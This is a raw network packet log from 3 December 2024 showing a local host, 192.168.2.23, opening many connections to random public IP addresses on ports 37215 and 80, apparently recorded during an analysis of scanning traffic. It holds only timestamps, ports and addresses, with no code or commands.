Dec 3, 2024 22:11:52.167788029 CET	5603	37215	192.168.2.23	41.202.239.97
Dec 3, 2024 22:11:52.167788029 CET	5603	37215	192.168.2.23	156.239.129.178
Dec 3, 2024 22:11:52.167793036 CET	51792	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:52.167802095 CET	5603	37215	192.168.2.23	197.71.82.223
Dec 3, 2024 22:11:52.167802095 CET	5603	37215	192.168.2.23	156.177.241.52
Dec 3, 2024 22:11:52.167804003 CET	80	33704	46.218.150.180	192.168.2.23
Dec 3, 2024 22:11:52.167814970 CET	80	37352	151.234.254.75	192.168.2.23
Dec 3, 2024 22:11:52.167818069 CET	5603	37215	192.168.2.23	197.190.99.46
Dec 3, 2024 22:11:52.167818069 CET	5603	37215	192.168.2.23	156.2.132.190
Dec 3, 2024 22:11:52.167824984 CET	80	47330	39.26.141.128	192.168.2.23
Dec 3, 2024 22:11:52.167824030 CET	51792	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:52.167824030 CET	5603	37215	192.168.2.23	41.221.35.83
Dec 3, 2024 22:11:52.167828083 CET	5603	37215	192.168.2.23	197.74.30.253
Dec 3, 2024 22:11:52.167834044 CET	80	48920	152.61.133.39	192.168.2.23
Dec 3, 2024 22:11:52.167844057 CET	33704	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:52.167846918 CET	37352	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:52.167854071 CET	5603	37215	192.168.2.23	197.171.146.111
Dec 3, 2024 22:11:52.167862892 CET	5603	37215	192.168.2.23	156.4.26.124
Dec 3, 2024 22:11:52.167865038 CET	47330	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:52.167865038 CET	48920	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:52.167866945 CET	33704	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:52.167879105 CET	5603	37215	192.168.2.23	156.156.150.125
Dec 3, 2024 22:11:52.167881012 CET	5603	37215	192.168.2.23	197.170.59.90
Dec 3, 2024 22:11:52.167885065 CET	80	51036	195.46.36.83	192.168.2.23
Dec 3, 2024 22:11:52.167887926 CET	5603	37215	192.168.2.23	197.146.91.69
Dec 3, 2024 22:11:52.167895079 CET	80	58680	69.165.68.106	192.168.2.23
Dec 3, 2024 22:11:52.167897940 CET	5603	37215	192.168.2.23	197.192.186.5
Dec 3, 2024 22:11:52.167903900 CET	5603	37215	192.168.2.23	197.141.248.132
Dec 3, 2024 22:11:52.167903900 CET	5603	37215	192.168.2.23	156.54.79.208
Dec 3, 2024 22:11:52.167903900 CET	80	41756	13.209.9.211	192.168.2.23
Dec 3, 2024 22:11:52.167905092 CET	5603	37215	192.168.2.23	156.47.241.170
Dec 3, 2024 22:11:52.167906046 CET	5603	37215	192.168.2.23	197.36.222.14
Dec 3, 2024 22:11:52.167912006 CET	51036	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:52.167921066 CET	5603	37215	192.168.2.23	156.127.195.178
Dec 3, 2024 22:11:52.167923927 CET	58680	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:52.167924881 CET	5603	37215	192.168.2.23	156.106.49.60
Dec 3, 2024 22:11:52.167936087 CET	47330	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:52.167946100 CET	5603	37215	192.168.2.23	41.96.131.57
Dec 3, 2024 22:11:52.167957067 CET	41756	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:52.167958021 CET	37352	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:52.167958021 CET	5603	37215	192.168.2.23	197.2.69.78
Dec 3, 2024 22:11:52.167967081 CET	48920	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:52.167967081 CET	5603	37215	192.168.2.23	41.48.192.115
Dec 3, 2024 22:11:52.167969942 CET	5603	37215	192.168.2.23	197.106.175.86
Dec 3, 2024 22:11:52.167970896 CET	5603	37215	192.168.2.23	156.176.20.112
Dec 3, 2024 22:11:52.167970896 CET	5603	37215	192.168.2.23	197.242.162.6
Dec 3, 2024 22:11:52.167978048 CET	80	58086	172.13.154.229	192.168.2.23
Dec 3, 2024 22:11:52.167984962 CET	5603	37215	192.168.2.23	156.165.41.250
Dec 3, 2024 22:11:52.167987108 CET	5603	37215	192.168.2.23	197.171.15.127
Dec 3, 2024 22:11:52.167987108 CET	5603	37215	192.168.2.23	156.129.81.127
Dec 3, 2024 22:11:52.167988062 CET	80	37010	59.234.43.201	192.168.2.23
Dec 3, 2024 22:11:52.167992115 CET	58680	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:52.167993069 CET	5603	37215	192.168.2.23	197.97.79.36
Dec 3, 2024 22:11:52.167999983 CET	80	45152	216.84.178.95	192.168.2.23
Dec 3, 2024 22:11:52.167999983 CET	5603	37215	192.168.2.23	197.242.8.120
Dec 3, 2024 22:11:52.168008089 CET	51036	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:52.168009043 CET	80	51328	69.224.65.58	192.168.2.23
Dec 3, 2024 22:11:52.168010950 CET	41756	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:52.168011904 CET	58086	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:52.168018103 CET	5603	37215	192.168.2.23	197.128.29.240
Dec 3, 2024 22:11:52.168018103 CET	80	33388	9.180.125.203	192.168.2.23
Dec 3, 2024 22:11:52.168020010 CET	5603	37215	192.168.2.23	197.162.186.84
Dec 3, 2024 22:11:52.168021917 CET	80	58266	87.124.13.206	192.168.2.23
Dec 3, 2024 22:11:52.168025970 CET	80	45884	151.117.200.130	192.168.2.23
Dec 3, 2024 22:11:52.168030024 CET	37010	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:52.168030024 CET	5603	37215	192.168.2.23	156.182.242.255
Dec 3, 2024 22:11:52.168030977 CET	45152	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:52.168030977 CET	5603	37215	192.168.2.23	156.191.51.246
Dec 3, 2024 22:11:52.168050051 CET	5603	37215	192.168.2.23	156.161.12.108
Dec 3, 2024 22:11:52.168055058 CET	33388	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:52.168055058 CET	45884	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:52.168056011 CET	51328	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:52.168056011 CET	58266	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:52.168070078 CET	5603	37215	192.168.2.23	197.106.131.157
Dec 3, 2024 22:11:52.168080091 CET	5603	37215	192.168.2.23	156.79.226.55
Dec 3, 2024 22:11:52.168080091 CET	5603	37215	192.168.2.23	156.172.176.203
Dec 3, 2024 22:11:52.168080091 CET	45884	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:52.168088913 CET	5603	37215	192.168.2.23	156.105.156.56
Dec 3, 2024 22:11:52.168091059 CET	33388	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:52.168100119 CET	5603	37215	192.168.2.23	41.184.171.249
Dec 3, 2024 22:11:52.168102026 CET	5603	37215	192.168.2.23	41.161.117.169
Dec 3, 2024 22:11:52.168112993 CET	5603	37215	192.168.2.23	41.41.202.120
Dec 3, 2024 22:11:52.168121099 CET	58266	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:52.168121099 CET	51328	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:52.168124914 CET	45152	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:52.168124914 CET	5603	37215	192.168.2.23	156.60.250.202
Dec 3, 2024 22:11:52.168126106 CET	5603	37215	192.168.2.23	197.185.110.13
Dec 3, 2024 22:11:52.168143034 CET	5603	37215	192.168.2.23	156.137.246.242
Dec 3, 2024 22:11:52.168143034 CET	5603	37215	192.168.2.23	41.116.84.139
Dec 3, 2024 22:11:52.168145895 CET	5603	37215	192.168.2.23	156.179.223.7
Dec 3, 2024 22:11:52.168145895 CET	37010	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:52.168159008 CET	5603	37215	192.168.2.23	156.237.17.197
Dec 3, 2024 22:11:52.168159008 CET	5603	37215	192.168.2.23	41.245.128.121
Dec 3, 2024 22:11:52.168178082 CET	5603	37215	192.168.2.23	197.51.26.37
Dec 3, 2024 22:11:52.168178082 CET	5603	37215	192.168.2.23	156.192.212.17
Dec 3, 2024 22:11:52.168179035 CET	5603	37215	192.168.2.23	197.194.185.227
Dec 3, 2024 22:11:52.168179035 CET	58086	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:52.168180943 CET	5603	37215	192.168.2.23	41.38.11.252
Dec 3, 2024 22:11:52.168190956 CET	5603	37215	192.168.2.23	156.7.229.255
Dec 3, 2024 22:11:52.168194056 CET	5603	37215	192.168.2.23	197.104.171.235
Dec 3, 2024 22:11:52.168200970 CET	5603	37215	192.168.2.23	41.223.41.93
Dec 3, 2024 22:11:52.168205023 CET	5603	37215	192.168.2.23	156.196.241.220
Dec 3, 2024 22:11:52.168209076 CET	5603	37215	192.168.2.23	41.142.54.74
Dec 3, 2024 22:11:52.168209076 CET	5603	37215	192.168.2.23	156.234.82.95
Dec 3, 2024 22:11:52.168225050 CET	5603	37215	192.168.2.23	197.139.66.165
Dec 3, 2024 22:11:52.168225050 CET	5603	37215	192.168.2.23	197.94.44.140
Dec 3, 2024 22:11:52.168229103 CET	5603	37215	192.168.2.23	197.94.124.232
Dec 3, 2024 22:11:52.168229103 CET	5603	37215	192.168.2.23	41.254.10.194
Dec 3, 2024 22:11:52.168230057 CET	5603	37215	192.168.2.23	156.55.142.118
Dec 3, 2024 22:11:52.168230057 CET	5603	37215	192.168.2.23	197.162.89.3
Dec 3, 2024 22:11:52.168231964 CET	5603	37215	192.168.2.23	197.202.175.79
Dec 3, 2024 22:11:52.168237925 CET	5603	37215	192.168.2.23	156.75.69.13
Dec 3, 2024 22:11:52.168240070 CET	5603	37215	192.168.2.23	156.169.11.241
Dec 3, 2024 22:11:52.168241024 CET	5603	37215	192.168.2.23	41.4.162.103
Dec 3, 2024 22:11:52.168241024 CET	5603	37215	192.168.2.23	41.52.82.159
Dec 3, 2024 22:11:52.168251991 CET	5603	37215	192.168.2.23	156.134.189.41
Dec 3, 2024 22:11:52.168262005 CET	5603	37215	192.168.2.23	41.22.20.24
Dec 3, 2024 22:11:52.168273926 CET	5603	37215	192.168.2.23	41.184.1.224
Dec 3, 2024 22:11:52.168273926 CET	5603	37215	192.168.2.23	197.45.205.138
Dec 3, 2024 22:11:52.168277025 CET	5603	37215	192.168.2.23	197.36.252.48
Dec 3, 2024 22:11:52.168296099 CET	5603	37215	192.168.2.23	41.45.89.163
Dec 3, 2024 22:11:52.168298006 CET	5603	37215	192.168.2.23	197.112.174.216
Dec 3, 2024 22:11:52.168301105 CET	5603	37215	192.168.2.23	156.200.45.35
Dec 3, 2024 22:11:52.168301105 CET	5603	37215	192.168.2.23	156.116.29.189
Dec 3, 2024 22:11:52.168306112 CET	5603	37215	192.168.2.23	156.162.138.59
Dec 3, 2024 22:11:52.168315887 CET	80	47628	2.111.72.125	192.168.2.23
Dec 3, 2024 22:11:52.168323040 CET	5603	37215	192.168.2.23	197.70.80.161
Dec 3, 2024 22:11:52.168325901 CET	80	41986	13.227.133.150	192.168.2.23
Dec 3, 2024 22:11:52.168329954 CET	5603	37215	192.168.2.23	156.230.29.41
Dec 3, 2024 22:11:52.168332100 CET	5603	37215	192.168.2.23	197.56.140.46
Dec 3, 2024 22:11:52.168334961 CET	80	42296	211.248.1.241	192.168.2.23
Dec 3, 2024 22:11:52.168335915 CET	5603	37215	192.168.2.23	156.245.135.44
Dec 3, 2024 22:11:52.168344021 CET	80	34860	192.122.106.149	192.168.2.23
Dec 3, 2024 22:11:52.168350935 CET	47628	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:52.168363094 CET	41986	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:52.168364048 CET	42296	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:52.168371916 CET	34860	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:52.168382883 CET	5603	37215	192.168.2.23	156.74.31.206
Dec 3, 2024 22:11:52.168384075 CET	41986	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:52.168384075 CET	5603	37215	192.168.2.23	197.88.181.206
Dec 3, 2024 22:11:52.168386936 CET	5603	37215	192.168.2.23	41.212.194.133
Dec 3, 2024 22:11:52.168390036 CET	47628	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:52.168404102 CET	5603	37215	192.168.2.23	41.180.250.234
Dec 3, 2024 22:11:52.168404102 CET	5603	37215	192.168.2.23	41.144.189.26
Dec 3, 2024 22:11:52.168404102 CET	5603	37215	192.168.2.23	197.229.114.47
Dec 3, 2024 22:11:52.168416023 CET	34860	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:52.168420076 CET	5603	37215	192.168.2.23	197.165.253.172
Dec 3, 2024 22:11:52.168421984 CET	5603	37215	192.168.2.23	197.254.109.174
Dec 3, 2024 22:11:52.168427944 CET	42296	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:52.168436050 CET	5603	37215	192.168.2.23	197.67.138.132
Dec 3, 2024 22:11:52.168437958 CET	5603	37215	192.168.2.23	156.118.172.7
Dec 3, 2024 22:11:52.168437958 CET	5603	37215	192.168.2.23	156.48.27.75
Dec 3, 2024 22:11:52.168447018 CET	5603	37215	192.168.2.23	197.252.68.197
Dec 3, 2024 22:11:52.168452978 CET	5603	37215	192.168.2.23	41.80.181.83
Dec 3, 2024 22:11:52.168458939 CET	5603	37215	192.168.2.23	41.189.118.107
Dec 3, 2024 22:11:52.168467045 CET	5603	37215	192.168.2.23	156.241.86.156
Dec 3, 2024 22:11:52.168477058 CET	5603	37215	192.168.2.23	197.59.155.190
Dec 3, 2024 22:11:52.168502092 CET	5603	37215	192.168.2.23	197.233.236.156
Dec 3, 2024 22:11:52.168504000 CET	5603	37215	192.168.2.23	156.11.173.5
Dec 3, 2024 22:11:52.168504953 CET	5603	37215	192.168.2.23	156.183.76.159
Dec 3, 2024 22:11:52.168504953 CET	5603	37215	192.168.2.23	156.130.97.204
Dec 3, 2024 22:11:52.168510914 CET	5603	37215	192.168.2.23	41.190.192.117
Dec 3, 2024 22:11:52.168524981 CET	5603	37215	192.168.2.23	197.136.119.78
Dec 3, 2024 22:11:52.168525934 CET	5603	37215	192.168.2.23	41.33.99.206
Dec 3, 2024 22:11:52.168540001 CET	5603	37215	192.168.2.23	41.183.39.136
Dec 3, 2024 22:11:52.168550014 CET	5603	37215	192.168.2.23	41.55.68.129
Dec 3, 2024 22:11:52.168555021 CET	5603	37215	192.168.2.23	197.110.106.104
Dec 3, 2024 22:11:52.168557882 CET	5603	37215	192.168.2.23	41.90.151.236
Dec 3, 2024 22:11:52.168567896 CET	5603	37215	192.168.2.23	41.113.253.105
Dec 3, 2024 22:11:52.168569088 CET	5603	37215	192.168.2.23	156.239.235.210
Dec 3, 2024 22:11:52.168570995 CET	5603	37215	192.168.2.23	156.39.244.17
Dec 3, 2024 22:11:52.168575048 CET	5603	37215	192.168.2.23	156.39.75.26
Dec 3, 2024 22:11:52.168582916 CET	5603	37215	192.168.2.23	156.71.69.244
Dec 3, 2024 22:11:52.168586969 CET	5603	37215	192.168.2.23	197.164.135.224
Dec 3, 2024 22:11:52.168597937 CET	5603	37215	192.168.2.23	197.148.151.231
Dec 3, 2024 22:11:52.168601990 CET	5603	37215	192.168.2.23	41.219.231.249
Dec 3, 2024 22:11:52.168610096 CET	5603	37215	192.168.2.23	156.25.80.204
Dec 3, 2024 22:11:52.168616056 CET	5603	37215	192.168.2.23	41.61.24.134
Dec 3, 2024 22:11:52.168627977 CET	5603	37215	192.168.2.23	156.143.51.62
Dec 3, 2024 22:11:52.168627977 CET	5603	37215	192.168.2.23	41.252.129.111
Dec 3, 2024 22:11:52.168631077 CET	5603	37215	192.168.2.23	156.144.95.102
Dec 3, 2024 22:11:52.168638945 CET	5603	37215	192.168.2.23	41.31.250.81
Dec 3, 2024 22:11:52.168643951 CET	5603	37215	192.168.2.23	41.191.0.185
Dec 3, 2024 22:11:52.168654919 CET	5603	37215	192.168.2.23	197.228.229.94
Dec 3, 2024 22:11:52.168665886 CET	5603	37215	192.168.2.23	41.108.6.48
Dec 3, 2024 22:11:52.168665886 CET	5603	37215	192.168.2.23	197.37.187.97
Dec 3, 2024 22:11:52.168667078 CET	5603	37215	192.168.2.23	41.56.80.234
Dec 3, 2024 22:11:52.168667078 CET	5603	37215	192.168.2.23	156.176.235.31
Dec 3, 2024 22:11:52.168680906 CET	5603	37215	192.168.2.23	41.56.159.44
Dec 3, 2024 22:11:52.168700933 CET	5603	37215	192.168.2.23	41.215.34.126
Dec 3, 2024 22:11:52.168703079 CET	5603	37215	192.168.2.23	156.121.71.235
Dec 3, 2024 22:11:52.168703079 CET	5603	37215	192.168.2.23	41.198.157.213
Dec 3, 2024 22:11:52.168703079 CET	5603	37215	192.168.2.23	197.32.193.171
Dec 3, 2024 22:11:52.168720961 CET	5603	37215	192.168.2.23	41.247.27.84
Dec 3, 2024 22:11:52.168724060 CET	5603	37215	192.168.2.23	156.191.201.117
Dec 3, 2024 22:11:52.168724060 CET	5603	37215	192.168.2.23	197.24.252.49
Dec 3, 2024 22:11:52.168731928 CET	5603	37215	192.168.2.23	197.31.90.213
Dec 3, 2024 22:11:52.168732882 CET	5603	37215	192.168.2.23	41.129.12.84
Dec 3, 2024 22:11:52.168735027 CET	5603	37215	192.168.2.23	41.146.223.124
Dec 3, 2024 22:11:52.168745041 CET	5603	37215	192.168.2.23	41.202.68.54
Dec 3, 2024 22:11:52.168750048 CET	5603	37215	192.168.2.23	41.62.118.155
Dec 3, 2024 22:11:52.168762922 CET	5603	37215	192.168.2.23	41.123.100.9
Dec 3, 2024 22:11:52.168766975 CET	5603	37215	192.168.2.23	156.9.141.22
Dec 3, 2024 22:11:52.168766975 CET	5603	37215	192.168.2.23	197.25.208.53
Dec 3, 2024 22:11:52.168782949 CET	5603	37215	192.168.2.23	197.71.79.115
Dec 3, 2024 22:11:52.168783903 CET	5603	37215	192.168.2.23	41.57.181.105
Dec 3, 2024 22:11:52.168808937 CET	5603	37215	192.168.2.23	156.254.103.111
Dec 3, 2024 22:11:52.168809891 CET	5603	37215	192.168.2.23	41.217.73.132
Dec 3, 2024 22:11:52.168812037 CET	5603	37215	192.168.2.23	156.87.209.152
Dec 3, 2024 22:11:52.168812990 CET	5603	37215	192.168.2.23	41.88.171.110
Dec 3, 2024 22:11:52.168812990 CET	5603	37215	192.168.2.23	156.48.38.215
Dec 3, 2024 22:11:52.168817997 CET	5603	37215	192.168.2.23	156.26.2.44
Dec 3, 2024 22:11:52.168826103 CET	5603	37215	192.168.2.23	156.88.130.155
Dec 3, 2024 22:11:52.168834925 CET	5603	37215	192.168.2.23	41.87.144.181
Dec 3, 2024 22:11:52.168853998 CET	5603	37215	192.168.2.23	156.22.254.78
Dec 3, 2024 22:11:52.168855906 CET	5603	37215	192.168.2.23	197.56.178.57
Dec 3, 2024 22:11:52.168857098 CET	5603	37215	192.168.2.23	156.138.6.230
Dec 3, 2024 22:11:52.168864012 CET	5603	37215	192.168.2.23	197.106.166.49
Dec 3, 2024 22:11:52.168864965 CET	5603	37215	192.168.2.23	156.199.65.217
Dec 3, 2024 22:11:52.168874025 CET	5603	37215	192.168.2.23	156.227.182.36
Dec 3, 2024 22:11:52.168874025 CET	5603	37215	192.168.2.23	156.186.33.237
Dec 3, 2024 22:11:52.168878078 CET	5603	37215	192.168.2.23	197.37.118.107
Dec 3, 2024 22:11:52.168888092 CET	5603	37215	192.168.2.23	197.49.167.102
Dec 3, 2024 22:11:52.168895006 CET	5603	37215	192.168.2.23	197.111.114.60
Dec 3, 2024 22:11:52.168915033 CET	5603	37215	192.168.2.23	41.219.196.248
Dec 3, 2024 22:11:52.168916941 CET	5603	37215	192.168.2.23	156.42.130.12
Dec 3, 2024 22:11:52.168916941 CET	5603	37215	192.168.2.23	41.213.170.238
Dec 3, 2024 22:11:52.168916941 CET	5603	37215	192.168.2.23	156.226.200.206
Dec 3, 2024 22:11:52.168926001 CET	5603	37215	192.168.2.23	156.16.43.243
Dec 3, 2024 22:11:52.168927908 CET	5603	37215	192.168.2.23	41.138.107.212
Dec 3, 2024 22:11:52.168946981 CET	5603	37215	192.168.2.23	197.160.190.17
Dec 3, 2024 22:11:52.168958902 CET	5603	37215	192.168.2.23	41.78.26.249
Dec 3, 2024 22:11:52.168960094 CET	5603	37215	192.168.2.23	41.157.69.168
Dec 3, 2024 22:11:52.168962955 CET	5603	37215	192.168.2.23	156.16.20.102
Dec 3, 2024 22:11:52.168962955 CET	5603	37215	192.168.2.23	197.123.16.101
Dec 3, 2024 22:11:52.168968916 CET	5603	37215	192.168.2.23	197.83.95.56
Dec 3, 2024 22:11:52.168982029 CET	5603	37215	192.168.2.23	197.194.108.53
Dec 3, 2024 22:11:52.168983936 CET	5603	37215	192.168.2.23	41.106.49.86
Dec 3, 2024 22:11:52.168992996 CET	5603	37215	192.168.2.23	156.76.51.171
Dec 3, 2024 22:11:52.169002056 CET	5603	37215	192.168.2.23	156.150.4.147
Dec 3, 2024 22:11:52.169003010 CET	5603	37215	192.168.2.23	197.78.174.92
Dec 3, 2024 22:11:52.169014931 CET	5603	37215	192.168.2.23	197.90.56.229
Dec 3, 2024 22:11:52.169014931 CET	5603	37215	192.168.2.23	156.140.131.152
Dec 3, 2024 22:11:52.169015884 CET	5603	37215	192.168.2.23	197.24.166.34
Dec 3, 2024 22:11:52.169028997 CET	5603	37215	192.168.2.23	41.5.48.187
Dec 3, 2024 22:11:52.169039965 CET	5603	37215	192.168.2.23	197.81.195.239
Dec 3, 2024 22:11:52.169044018 CET	5603	37215	192.168.2.23	197.74.206.123
Dec 3, 2024 22:11:52.169055939 CET	5603	37215	192.168.2.23	156.175.99.100
Dec 3, 2024 22:11:52.169059038 CET	5603	37215	192.168.2.23	156.94.160.83
Dec 3, 2024 22:11:52.169064045 CET	5603	37215	192.168.2.23	41.133.187.192
Dec 3, 2024 22:11:52.169064045 CET	5603	37215	192.168.2.23	197.233.236.121
Dec 3, 2024 22:11:52.169074059 CET	5603	37215	192.168.2.23	156.131.130.162
Dec 3, 2024 22:11:52.169091940 CET	5603	37215	192.168.2.23	156.53.208.239
Dec 3, 2024 22:11:52.169091940 CET	5603	37215	192.168.2.23	41.204.109.186
Dec 3, 2024 22:11:52.169096947 CET	5603	37215	192.168.2.23	156.220.150.145
Dec 3, 2024 22:11:52.169096947 CET	5603	37215	192.168.2.23	41.170.115.177
Dec 3, 2024 22:11:52.169106960 CET	5603	37215	192.168.2.23	197.8.21.143
Dec 3, 2024 22:11:52.169114113 CET	5603	37215	192.168.2.23	156.105.86.15
Dec 3, 2024 22:11:52.169114113 CET	5603	37215	192.168.2.23	197.197.221.255
Dec 3, 2024 22:11:52.169114113 CET	5603	37215	192.168.2.23	197.39.139.238
Dec 3, 2024 22:11:52.169117928 CET	5603	37215	192.168.2.23	156.199.118.172
Dec 3, 2024 22:11:52.169121981 CET	5603	37215	192.168.2.23	41.160.10.179
Dec 3, 2024 22:11:52.169127941 CET	5603	37215	192.168.2.23	41.31.108.22
Dec 3, 2024 22:11:52.169137955 CET	5603	37215	192.168.2.23	197.125.61.213
Dec 3, 2024 22:11:52.169156075 CET	5603	37215	192.168.2.23	197.52.170.226
Dec 3, 2024 22:11:52.169156075 CET	5603	37215	192.168.2.23	197.2.130.170
Dec 3, 2024 22:11:52.169161081 CET	5603	37215	192.168.2.23	41.206.222.73
Dec 3, 2024 22:11:52.169161081 CET	5603	37215	192.168.2.23	197.219.44.141
Dec 3, 2024 22:11:52.169161081 CET	5603	37215	192.168.2.23	41.102.174.94
Dec 3, 2024 22:11:52.169169903 CET	5603	37215	192.168.2.23	197.31.187.48
Dec 3, 2024 22:11:52.169183969 CET	5603	37215	192.168.2.23	41.18.81.200
Dec 3, 2024 22:11:52.169186115 CET	5603	37215	192.168.2.23	156.57.216.10
Dec 3, 2024 22:11:52.169188023 CET	5603	37215	192.168.2.23	197.8.253.204
Dec 3, 2024 22:11:52.169199944 CET	5603	37215	192.168.2.23	41.119.217.97
Dec 3, 2024 22:11:52.169207096 CET	5603	37215	192.168.2.23	197.53.138.112
Dec 3, 2024 22:11:52.169209957 CET	5603	37215	192.168.2.23	41.163.194.114
Dec 3, 2024 22:11:52.169213057 CET	5603	37215	192.168.2.23	156.158.215.221
Dec 3, 2024 22:11:52.169225931 CET	5603	37215	192.168.2.23	41.180.158.42
Dec 3, 2024 22:11:52.169235945 CET	5603	37215	192.168.2.23	197.238.78.6
Dec 3, 2024 22:11:52.169238091 CET	5603	37215	192.168.2.23	197.50.227.35
Dec 3, 2024 22:11:52.169238091 CET	5603	37215	192.168.2.23	156.169.124.230
Dec 3, 2024 22:11:52.169255972 CET	5603	37215	192.168.2.23	41.71.31.73
Dec 3, 2024 22:11:52.169255972 CET	5603	37215	192.168.2.23	197.145.207.76
Dec 3, 2024 22:11:52.169255972 CET	5603	37215	192.168.2.23	197.27.76.18
Dec 3, 2024 22:11:52.169266939 CET	5603	37215	192.168.2.23	41.183.230.161
Dec 3, 2024 22:11:52.169271946 CET	5603	37215	192.168.2.23	41.5.1.172
Dec 3, 2024 22:11:52.169279099 CET	5603	37215	192.168.2.23	41.190.93.20
Dec 3, 2024 22:11:52.169301987 CET	5603	37215	192.168.2.23	197.131.251.213
Dec 3, 2024 22:11:52.169303894 CET	5603	37215	192.168.2.23	41.76.27.80
Dec 3, 2024 22:11:52.169312000 CET	5603	37215	192.168.2.23	197.190.174.112
Dec 3, 2024 22:11:52.169313908 CET	5603	37215	192.168.2.23	156.123.151.30
Dec 3, 2024 22:11:52.169316053 CET	5603	37215	192.168.2.23	197.165.26.94
Dec 3, 2024 22:11:52.169317961 CET	5603	37215	192.168.2.23	156.60.3.218
Dec 3, 2024 22:11:52.169326067 CET	5603	37215	192.168.2.23	156.152.182.195
Dec 3, 2024 22:11:52.169326067 CET	5603	37215	192.168.2.23	197.248.66.198
Dec 3, 2024 22:11:52.169326067 CET	5603	37215	192.168.2.23	41.34.108.194
Dec 3, 2024 22:11:52.169326067 CET	5603	37215	192.168.2.23	41.112.66.251
Dec 3, 2024 22:11:52.169331074 CET	5603	37215	192.168.2.23	156.223.243.199
Dec 3, 2024 22:11:52.169332981 CET	5603	37215	192.168.2.23	156.4.226.182
Dec 3, 2024 22:11:52.169339895 CET	5603	37215	192.168.2.23	156.229.136.32
Dec 3, 2024 22:11:52.169353962 CET	5603	37215	192.168.2.23	197.64.203.150
Dec 3, 2024 22:11:52.169353962 CET	5603	37215	192.168.2.23	197.226.182.188
Dec 3, 2024 22:11:52.169361115 CET	5603	37215	192.168.2.23	197.69.168.221
Dec 3, 2024 22:11:52.169377089 CET	5603	37215	192.168.2.23	197.100.134.158
Dec 3, 2024 22:11:52.169389963 CET	5603	37215	192.168.2.23	41.127.4.28
Dec 3, 2024 22:11:52.169392109 CET	5603	37215	192.168.2.23	197.50.58.88
Dec 3, 2024 22:11:52.169399023 CET	5603	37215	192.168.2.23	197.75.87.115
Dec 3, 2024 22:11:52.169411898 CET	5603	37215	192.168.2.23	197.18.13.149
Dec 3, 2024 22:11:52.169423103 CET	5603	37215	192.168.2.23	156.180.81.62
Dec 3, 2024 22:11:52.169423103 CET	5603	37215	192.168.2.23	41.108.0.10
Dec 3, 2024 22:11:52.169424057 CET	5603	37215	192.168.2.23	156.236.89.66
Dec 3, 2024 22:11:52.169425964 CET	5603	37215	192.168.2.23	156.40.233.144
Dec 3, 2024 22:11:52.169433117 CET	5603	37215	192.168.2.23	156.53.71.197
Dec 3, 2024 22:11:52.169440985 CET	5603	37215	192.168.2.23	41.38.168.245
Dec 3, 2024 22:11:52.169444084 CET	5603	37215	192.168.2.23	197.217.109.245
Dec 3, 2024 22:11:52.169445992 CET	5603	37215	192.168.2.23	156.49.96.222
Dec 3, 2024 22:11:52.169447899 CET	5603	37215	192.168.2.23	197.8.9.159
Dec 3, 2024 22:11:52.169461966 CET	5603	37215	192.168.2.23	41.104.124.248
Dec 3, 2024 22:11:52.169470072 CET	5603	37215	192.168.2.23	41.34.155.62
Dec 3, 2024 22:11:52.169476032 CET	5603	37215	192.168.2.23	197.134.249.110
Dec 3, 2024 22:11:52.169476032 CET	5603	37215	192.168.2.23	197.246.73.126
Dec 3, 2024 22:11:52.169495106 CET	5603	37215	192.168.2.23	156.248.163.78
Dec 3, 2024 22:11:52.169495106 CET	5603	37215	192.168.2.23	156.127.231.229
Dec 3, 2024 22:11:52.169496059 CET	5603	37215	192.168.2.23	41.6.11.31
Dec 3, 2024 22:11:52.169516087 CET	5603	37215	192.168.2.23	197.161.93.186
Dec 3, 2024 22:11:52.169517994 CET	5603	37215	192.168.2.23	156.57.168.212
Dec 3, 2024 22:11:52.169523954 CET	5603	37215	192.168.2.23	41.202.90.3
Dec 3, 2024 22:11:52.169526100 CET	5603	37215	192.168.2.23	41.53.123.148
Dec 3, 2024 22:11:52.169538021 CET	5603	37215	192.168.2.23	41.104.200.198
Dec 3, 2024 22:11:52.169549942 CET	5603	37215	192.168.2.23	156.245.164.99
Dec 3, 2024 22:11:52.169557095 CET	5603	37215	192.168.2.23	156.32.100.229
Dec 3, 2024 22:11:52.169559002 CET	5603	37215	192.168.2.23	156.53.31.17
Dec 3, 2024 22:11:52.169567108 CET	5603	37215	192.168.2.23	41.151.242.106
Dec 3, 2024 22:11:52.169579029 CET	5603	37215	192.168.2.23	197.96.99.90
